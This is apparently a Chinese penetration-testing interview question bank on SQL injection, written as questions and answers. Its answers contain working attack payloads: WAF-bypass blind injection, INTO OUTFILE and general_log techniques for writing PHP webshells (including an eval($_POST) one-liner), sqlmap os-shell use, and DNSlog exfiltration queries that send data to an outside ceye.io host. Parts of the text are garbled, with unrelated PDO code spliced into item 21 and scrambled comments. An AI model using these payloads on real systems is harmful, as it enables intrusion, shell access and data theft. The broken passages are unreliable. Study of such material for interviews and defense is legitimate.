九、如果网站 get 与 post 都做了防注入,还可以采用什么方式绕过
Cookices 注入绕过
十、 注入漏洞只能查账号密码?
最低权限都可以查找帐号和密码,如 mssql sa 权限可以获取系统权限, dbowner 可以
获取 Webshell , public 可以脱库; mysql root 权限、知道网站的绝对路径、数据库 my.ini 配
置文件 secure_file_priv 值为空时,就可以获取 webshell 并执行操作系统命令。
十一、 如何利用这个防注入系统拿 shell?
在 URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个
时候可以尝试寻找网站的配置文件 直接上菜刀链接。
十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?
有写入权限的,构造联合查询语句使用 using INTO OUTFILE ,可以将查询的输出重定向
到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直
接获得一个 Shell ,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,
然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
十三、sqlmap,怎么对一个注入点注入?
1 )如果是 get 注入,直接, sqlmap -u " 注入点网址 ".
2) 如果是 post 注入,可以 sqlmap –r "burp 地址访问包 ”
3 )如果是 cookie , X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号
替换,放到文件里,然后 sqlmap -r " 文件地址 " ,记得加上 —level 3 参数
十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg== DATA 有可能经过了 base64 编码再传入服务器,所以我们也
要对参数进行 base64 编码才能正确完成测试
十五、sql 注入写文件都有哪些函数?
union select "",2 into outfile
"C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
十六、SQL 注入防护方法?
1 、涵数过滤,如 !is_numeric 涵数 // 判断变量 id 是否为数字
2 、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360 、阿里云、腾迅提供的防注入脚
本
3 、使用白名单来规范化输入验证方法
4 、采用 PDO 预处理
5 、使用 Waf 拦截
十七、 盲注 if 被过滤怎么绕过?
如果 and if 被 waf 拦截,我们可以使用内联注释来绕过函数的检测,如:
xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23
十八、 注入时,Waf 过滤了逗号,如何绕过?
在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过
mysql> select user_id,user,password from users union select 1,2,3;
不出现逗号,使用 Join 来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join
(select 2)B join (select 3)C);
十九、MySQL 写 WebShell 有几种方式,利用条件?
一、
union select 后写入
lines terminated by 写 入
lines starting by 写 入fields
terminated by 写 入
COLUMNS terminated by 写 入
二、
root 权限
GPC 关闭(能使用单引号),magic_quotes_gpc=On 有
绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有 create、insert、select 的权限
二十、 Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mysql 下又如何?
1.没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火
墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请
求。
2. 此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域
名中,然后读取 DNS 解析时的日志,来获取想要的信息。
3. Mysql 中利用 load_file() 构造 payload 创建数据表导出 shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘
@eval($_POST[pass]);?>’);
SELECT `content` FROM `shadow9` INTO OUTFILE‘
C:\\phpStudy\\WWW\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;
‘ and if((select load_file(concat(‘ \\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#
4. Mssql 下 利 用 master..xp_dirtree 构 造 payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);
二十一、phpmyadmin 写 sehll 的方法
一、常规导入 shell 的操作
二、一句话导出 shell:
select '' into outfile 'c:/phpstu
dy/www/90sec.php' ;
select '' into outfile 'c:\\phpst
udy\\www\\90sec.php' ;
select '' into dumpfile 'c:\\phps
tudy\\www\\bypass.php' ;
三、日志备份获取 shell $dbh = new PDO( "txf" );
$name = $_GET[ 'name' ];
$stmt = $dbh->prepare( 'SELECT * FROM ' . $name . ' where usern
ame = :username' );
$stmt->execute( array ( ':username' => $_REQUEST[ 'username' ])
);
$pdo->query( 'SET NAMES gbk' );
$var = "\xbf\x27 OR 1=1 /*" ;
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1' ;
$stmt = $pdo->prepare($query);
$stmt->execute( array ($var));
// 关闭 general_log
//phpinfo() 写入日志
SELECT '' ;
文件
set global general_log= 'off' ;
模式
// 设
// 开启 general log 模
SET global general_log_file= 'D:/phpStudy/WWW/cmd.php' ;
置日志文件保存路径
// 查询 general
show global variables like "%genera%" ;
_log 配置
set global general_log= 'on' ;
二十二、 预编译能否 100%防 sql 注入,如果不能,写一个
答 :
不能。
一、
类似于宽字节注入
二、
参数 name 是一串数组,PDO 不会生效
三、
$stmt = $dbh->prepare( 'SELECT * FROM foo ORDER BY :userSuppli
edData' );
PDO 对 DDL 不生效
二十三、 MySQL 有哪些获取系统信息的函数
如:Version()、user()、databases()、 SCHEMA()
以上内容资料来源于牛客网:渗透测试面试题库